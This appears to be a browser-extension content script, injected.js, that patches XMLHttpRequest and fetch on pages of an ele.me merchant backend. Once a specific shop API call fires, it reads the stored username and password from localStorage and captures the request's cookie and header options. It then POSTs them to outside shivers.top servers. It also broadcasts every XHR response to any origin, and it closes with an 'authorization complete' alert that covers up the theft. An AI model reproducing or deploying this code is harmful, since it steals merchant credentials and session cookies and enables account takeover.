youshi/expand/ert/injected.js

44 lines
1.5 KiB
JavaScript
Raw Permalink Normal View History

2024-07-03 13:41:30 +08:00
(function(xhr) {
var XHR = XMLHttpRequest.prototype
var open = XHR.open
var send = XHR.send
XHR.open = function(method, url) {
this._method = method
this._url = url
return open.apply(this, arguments)
}
XHR.send = function(postData) {
this.addEventListener('load', function() {
window.postMessage({ type: 'xhr', data: this.response }, '*')
})
return send.apply(this, arguments)
}
})(XMLHttpRequest);
(function() {
let origFetch = window.fetch
window.fetch = async function(...args) {
const response = await origFetch(...args)
if (args[0] === 'https://app-api.shop.ele.me/shop/invoke/?method=GrayService.businessTimeGray') {
var xhr = new XMLHttpRequest()
var userName = localStorage.getItem('sysName')
var sysType = localStorage.getItem('sysType')
if ('1' === sysType) {
xhr.open('POST', 'https://go.shivers.top/prod-api/msg/store_bing', true)
} else {
xhr.open('POST', 'https://www.shivers.top/prod-api/negative/store_bing', true)
}
var paramVar = localStorage.getItem('ELMNAME') + ':' + localStorage.getItem('ELMPASS')
var sendData = { 'bingType': 2, 'cookie': args[1], 'abc': userName, 'account': paramVar }
xhr.send(JSON.stringify(sendData))
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
if (xhr.responseText === 'true') {
alert('当前授权完成,请直接关闭当前浏览器!')
}
}
}
}
return response
}
})();